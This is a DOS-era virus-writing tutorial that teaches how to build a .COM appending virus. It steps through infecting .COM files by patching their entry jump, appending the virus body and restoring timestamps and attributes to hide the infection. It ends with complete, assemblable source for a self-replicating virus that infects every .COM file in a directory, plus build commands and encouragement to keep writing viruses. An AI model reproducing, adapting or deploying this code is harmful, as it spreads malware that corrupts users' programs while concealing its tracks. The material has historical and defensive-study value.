.COM Appending Virus
by
Stealth Warrior/The Alliance

    My page: http://www.geocities.com/SiliconValley/Heights/5303
    My E-Mail address: stealthwarrior@hotmail.com

     ----------------------------------------------------------------------------
     DISCLAIMER:
     Information included in this file is not to be used in any malicious or
     otherwise irresponsible manner. The author is not responsible for any
     damages, incidental or otherwise, resulting from using information from
     this file. Responsibility is entirely placed on the reader (user).
     ----------------------------------------------------------------------------

    Now when we're familiar with overwriting viruses, let's go on to appending
    viruses. To understand appending viruses we first must know the structure of
    the files we want to infect. We will start with .COM files as they are the
    easiest. So, here we go:
    When a .COM file is run, DOS builds the PSP, loads the file in memory above
    PSP and then executes it (from memory, not from disk!). PSP is a 256 byte
    long header and it looks like this:

    .--------.------.-------------------------------------------.
    | OFFSET | SIZE | DESCRIPTION                               |
    .--------.------.-------------------------------------------.
    |   00h  |   2  | INT 20h instruction (Program Terminate).  |
    |   02h  |   2  | Address of the last paragraph of memory   |
    |        |      | allocated to the program.                 |
    |   04h  |   1  | Reserved.                                 |
    |   05h  |   5  | CP/M Far call to DOS INT 21h,except put   |
    |        |      | the function call in CL not AH like usual.|
    |   0Ah  |   4  | INT 22h segment handler.                  |
    |   0Eh  |   4  | INT 23h segment handler.                  |
    |  012h  |   4  | INT 24h segment handler.                  |
    |  016h  |  22  | Reserved.                                 |
    |  02Ch  |   2  | Enviroment segment.Includes the drive\    |
    |        |      | path\filename.extension of the program.   |
    |  02Eh  |  34  | Reserved.                                 |
    |  050h  |   3  | INT 21h followed by a RETF.               |
    |  053h  |   9  | Reserved.                                 |
    |  05Ch  |  16  | File Control Block 1.It is for use with   |
    |        |      | OLD DOS functions.DOS 2.0 introduces      |
    |        |      | handles,which are much easier to use.     |
    |  06Ch  |  20  | File Control Block 2.                     |
    |  080h  | 128  | Command line parameters.                  |
    |        |      | Default DTA (Disk Transfer Area).         |
    .--------.------.-------------------------------------------.
        Total: 256

    And DTA (Disk Transfer Area) looks like this:
        Offset     Size       Description
          0h       21 BYTES   Reserved
         15h       BYTE       File attribute
         16h       WORD       File time
         18h       WORD       File date
         1Ah       DWORD      File size
         1Eh       13 BYTES   ASCIIZ file name and extension

    The file starts at offset 100h of the segment where it's loaded. Because of
    the segment length limit .COM files can only be 65280 bytes long, so we will
    infect files smaller than 64000 bytes to prevent the PSP to get corrupted.
    If we want to infect a .COM file, we change the first 3 bytes of the host, so
    they point to the virus which we appended at the end of the host. And after
    the virus has executed, it restores the original 3 bytes of the host and
    jumps to 100h. You mustn't forget that we put original 3 bytes in memory and
    that the first 3 bytes of the file on disk still contain a jump to a virus!
    After that the host runs like nothing has happened.
    I've put some extra code here - it preserves file date, time and attributes
    and it can infect a .COM file with any attribute. It is important for virus
    to cover its tracks as much as possible, so get used to it right now at the
    beginning of your learning about viruses.

    Here's a new flow-chart:
      1.Calculate the delta OFFSET.
      2.Restore 3 bytes.
      3.Save DTA.
      4.Find a .COM file. If no files found then go to step 15.
      5.Save file attributes, date and time.
      6.Clear file attributes.
      7.Open the file for reading/writing.
      8.Read the first 3 bytes.

      9.Check if the file is already infected.
         a)If already infected then go to step 14.
         b)If not infected continue.
     10.Write new 3 bytes at the beginning of the file.
     11.Append the virus to the file.
     12.Restore time and date.
     13.Close the file.
     14.Restore attributes.
     15.Restore DTA.
     16.Pass the control to the host (in memory!).

    Here's how it's done:
      1.First we must calculate the delta OFFSET, because you mustn't forget that
        the real OFFSET of our variables depends on size of the file:

            begin:  db 0e9h,0,0                       ;Jump to vstart.
            vstart: call doit
            doit:   pop  bp                           ;<Calculate the
                    sub  bp,OFFSET doit               ; delta OFFSET.>

      2.And now we restore original 3 bytes which we saved into bytes when this
        file was infected:

            lea  si,[bp+OFFSET bytes]                 ;<Restore
            mov  di,100h                              ; the
            push di                                   ; original
            movsw                                     ; three
            movsb                                     ; bytes.>

      3.DTA is located at the same address in the PSP as the command-line
        parameters, so we have to store DTA to prevent the loss of command-line
        parameters. Of course we have to restore it before we pass control to the
        host.

            lea  dx,[bp+OFFSET dta]           ;<Save disk
            mov  ah,1ah                       ; transfer
            int  21h                          ; area(DTA).>

        We have to define dta, so:
            dta db 42 dup (?)

      4.We use DOS function Int 21h/4eh to find the first file. You should be
        familiar with this from Overwriting Virus Tutorial.

            mov  ah,4eh                       ;Find first service.
            lea  dx,[bp+com_files]            ;<Search for a .COM file
            mov  cx,7                         ; with any attributes.>
            int  21h

        We have to define what com_files means, so:
         com_files: db "*.com",0

      5.File attributes, date and time are saved and we restore them later.

            lea  si,[bp+OFFSET dta+21]        ;<Save file
            mov  cx,5                         ; attributes,
            lea  di,[bp+OFFSET attributes]    ; date and
            rep  movsb                        ; time.>

      6.Here we clear the file attributes so that we could write to it in case it
        is read-only, hidden or system.

            mov  ax,4301h                     ;<Clear
            xor  cx,cx                        ; the
            lea  dx,[bp+dta+30]               ; file
            int  21h                          ; attributes.>

      7.Nothing new here...

            mov  ax,3d02h                     ;<Open file for
            lea  dx,[bp+OFFSET dta+30]        ; reading and
            int  21h                          ; writing.>

      8.Here we read the first three bytes and store them to bytes. We need them
        to check if the file is already infected and to restore them before we
        pass control to the host.

            xchg ax,bx                        ;Put file handle in ax.
            mov  ah,3fh                       ;<Read first
            lea  dx,[bp+bytes]                ; three bytes
            mov  cx,3                         ; and store them
            int  21h                          ; in bytes.>

      9.Here we compare the file size from DTA and last two bytes from bytes. If
        the file is infected, then bytes contains a jump (E9) and an offset which
        points to the beginning of the virus. A bit of mathematics and we have an
        infection check:

            mov  ax,word ptr [bp+dta+26]      ;Get file size from DTA.
            mov  cx,word ptr [bp+bytes+1]     ;Get jmp location.
            add  cx,vend-vstart+3             ;Convert it to file size.
            cmp  ax,cx                        ;Compare both file sizes.
            jz   another                      ;Equal,so find next victim.

     10.Here we put new OFFSET into new_offs and write new three bytes (E9 [it's
        a code for JMP] xx xx [new OFFSET]):

            sub  ax,3                         ;<Put new OFFSET
            mov  word ptr [bp+new_offs],ax    ; in new_offs.>
            mov  ax,4200h                     ;<Go to
            xor  cx,cx                        ; beginning
            cwd                               ; of the
            int  21h                          ; file.>
            mov  ah,40h                       ;<Write
            mov  cx,3                         ; new
            lea  dx,[bp+e9]                   ; three
            int  21h                          ; bytes.>

        If you haven't noticed: new_offs dw ? has to be written under e9 db 0e9h
        in the virus source to work properly. It is because we put beginning
        OFFSET in dx (lea  dx,[bp+e9]) and after 0e9h is written to file, 2 bytes
        from the new_offs follow. Simple, isn't it?

     11.Here we write our virus to the end of the file:

            mov  ax,4202h                     ;<Go to
            xor  cx,cx                        ; end

            cwd                               ; of the
            int  21h                          ; file.>
            mov  ah,40h                       ;<Append
            mov  cx,vend-vstart               ; the virus
            lea  dx,[bp+vstart]               ; to the
            int  21h                          ; host.>

     12.Now when the main job is done we cover our tracks, first with file time
        and file date:

            mov  ax,5701h                     ;<Restore
            mov  dx,word ptr [bp+date]        ; original
            mov  cx,word ptr [bp+time]        ; file time
            int  21h                          ; and date.>

     13.Close the file, nothing new...

            mov  ah,3eh                       ;<Close the
            int  21h                          ; file.>

     14.Covering our tracks, part two. Here we restore file attributes:

            mov  ax,4301h                     ;<Restore
            lea  dx,[bp+OFFSET dta+30]        ; original
            xor  ch,ch                        ; attributes
            mov  cl,byte ptr [bp+attributes]  ; of the
            int  21h                          ; file.>

     15.Now we restore DTA --> command-line parameters are preserved:

            mov  dx,80h                       ;Restore DTA.
            mov  ah,1ah                       ;<Set disk transfer
            int  21h                          ; address.>

     16.Here we pass control to the host (in memory!!!):

            retn                              ;Pass control to the host.

    Here's the complete source:
    -<EXAMPLE1.ASM>---------------------------------------------------------------
    ;Example 1 from .COM Appending Virus Tutorial by Stealth Warrior
    ;.COM appending virus - 211 bytes long, infects all .COM files in current dir
    ;Instructions:
    ; TASM /m2 EXAMPLE1.ASM
    ; TLINK /t EXAMPLE1.ASM
    code    segment
    assume  cs:code
            org 100h
    begin:  db 0e9h,0,0                       ;Jump to vstart.
    vstart: call doit
    doit:   pop  bp                           ;<Calculate the
            sub  bp,OFFSET doit               ; delta OFFSET.>
            lea  si,[bp+OFFSET bytes]         ;<Restore
            mov  di,100h                      ; the
            push di                           ; original
            movsw                             ; three
            movsb                             ; bytes.>

            lea  dx,[bp+OFFSET dta]           ;<Save disk
            mov  ah,1ah                       ; transfer
            int  21h                          ; area(DTA).>
    first:  mov  ah,4eh                       ;Find first service.
            lea  dx,[bp+com_files]            ;<Search for a .COM file
            mov  cx,7                         ; with any attributes.>
    next:   int  21h
            jnb  got_it                       ;We found a .COM file.
            jmp  quit                         ;No more .COM files,so quit.
    got_it: lea  si,[bp+OFFSET dta+21]        ;<Save file
            mov  cx,5                         ; attributes,
            lea  di,[bp+OFFSET attributes]    ; date and
            rep  movsb                        ; time.>
            mov  ax,4301h                     ;<Clear
            xor  cx,cx                        ; the
            lea  dx,[bp+dta+30]               ; file
            int  21h                          ; attributes.>
            mov  ax,3d02h                     ;<Open file for
            lea  dx,[bp+OFFSET dta+30]        ; reading and
            int  21h                          ; writing.>
            xchg ax,bx                        ;Put file handle in ax.
            mov  ah,3fh                       ;<Read first
            lea  dx,[bp+bytes]                ; three bytes
            mov  cx,3                         ; and store them
            int  21h                          ; in bytes.>
            mov  ax,word ptr [bp+dta+26]      ;Get file size from DTA.
            mov  cx,word ptr [bp+bytes+1]     ;Get jmp location.
            add  cx,vend-vstart+3             ;Convert it to file size.
            cmp  ax,cx                        ;Compare both file sizes.
            jz   another                      ;Equal,so find next victim.
            sub  ax,3                         ;<Put new OFFSET
            mov  word ptr [bp+new_offs],ax    ; in new_offs.>
            xor  al,al                        ;Go to BOF.
            call move_fp
            mov  ah,40h                       ;<Write
            mov  cx,3                         ; new
            lea  dx,[bp+e9]                   ; three
            int  21h                          ; bytes.>
            mov  al,2                         ;Go to EOF.
            call move_fp
            mov  ah,40h                       ;<Append
            mov  cx,vend-vstart               ; the virus
            lea  dx,[bp+vstart]               ; to the
            int  21h                          ; host.>
            mov  ax,5701h                     ;<Restore
            mov  dx,word ptr [bp+date]        ; original
            mov  cx,word ptr [bp+time]        ; file time
            int  21h                          ; and date.>
    another:mov  ah,3eh                       ;<Close the
            int  21h                          ; file.>
            mov  ax,4301h                     ;<Restore
            lea  dx,[bp+OFFSET dta+30]        ; original
            xor  ch,ch                        ; attributes
            mov  cl,byte ptr [bp+attributes]  ; of the
            int  21h                          ; file.>
            mov  ah,4fh                       ;Find next service.
            jmp  next                         ;Do it.
    quit:   mov  dx,80h                       ;Restore DTA.
            mov  ah,1ah                       ;<Set disk transfer
            int  21h                          ; address.>
            retn                              ;Pass control to the host.
    move_fp:mov  ah,42h
            xor  cx,cx
            cwd
            int  21h
            retn

    com_files db '*.com',0
    bytes db 0cdh,20h,0
    e9 db 0e9h
    vend equ $                                ;<Everything below this point
                                              ; isn't written to a host because
                                              ; it's temporal info and would
                                              ; just increase the size of the
                                              ; virus.>
    new_offs dw ?                             ;Here we put new OFFSET.
    attributes db ?                           ;Here we put file attributes.
    time dw ?                                 ;Here we put file time.
    date dw ?                                 ;Here we put file date.
    dta db 42 dup (?)                         ;Here we put DTA.
    code    ENDS
            END    begin
    ------------------------------------------------------------------------------

    That's it! If you don't get it yet, read my Overwriting Virus Tutorial and
    then this tutorial again. It will help, you'll see. The most important thing
    is not to give up!
    So, keep writing viruses and be prepared for my next tutorial!

    You can get all my tutorials and more at my page - see the beginning of this

    file for the address.

    Greetz'n'thanx to:
      -The Alliance : Yo to all memberz
      -P/S : a great group, your tutorials and 40hex helped me a lot
      -NuKE : a great group too, Rock Steady's tutorials are cool
      -VLAD : a great magazine, guys
      -Immortal Riot : I like your 'zine
      -Ratboy : cool tutorial
      -all other virus writers in the world!